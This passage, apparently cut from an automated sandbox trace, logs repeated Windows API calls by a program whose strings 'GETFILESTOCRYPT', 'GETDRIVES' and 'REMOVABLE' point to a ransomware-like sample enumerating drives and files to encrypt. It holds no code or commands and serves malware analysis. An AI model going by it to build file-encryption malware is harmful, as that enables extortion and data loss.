lpMsg=0x130f204) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.807] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.807] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.808] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.808] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.808] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.808] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.808] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.808] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.808] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.809] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.809] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.809] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.809] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.809] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.809] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.809] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.809] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.810] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.810] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.810] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.810] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.810] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.810] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.810] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.810] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.811] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.811] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.811] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.811] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.811] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.811] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.811] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.811] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.811] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.812] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.812] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.812] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.812] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.812] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.812] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.812] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.821] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.821] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.821] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.822] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.822] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.822] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.822] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.822] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.823] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.823] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.823] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.823] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.824] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.824] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.824] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.911] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.911] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.911] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.911] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.911] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.911] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.911] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.912] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.912] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.912] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.912] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.912] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.912] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.912] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.913] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.913] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.913] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.913] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.913] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.913] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.913] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.914] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.914] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.914] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.914] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.915] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.915] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.916] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.916] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.916] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.916] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.917] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.917] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.917] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.917] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.918] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.918] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.918] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.930] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.931] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.931] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.931] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.931] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.931] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.931] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.931] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.932] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.932] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.932] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.932] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.932] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | 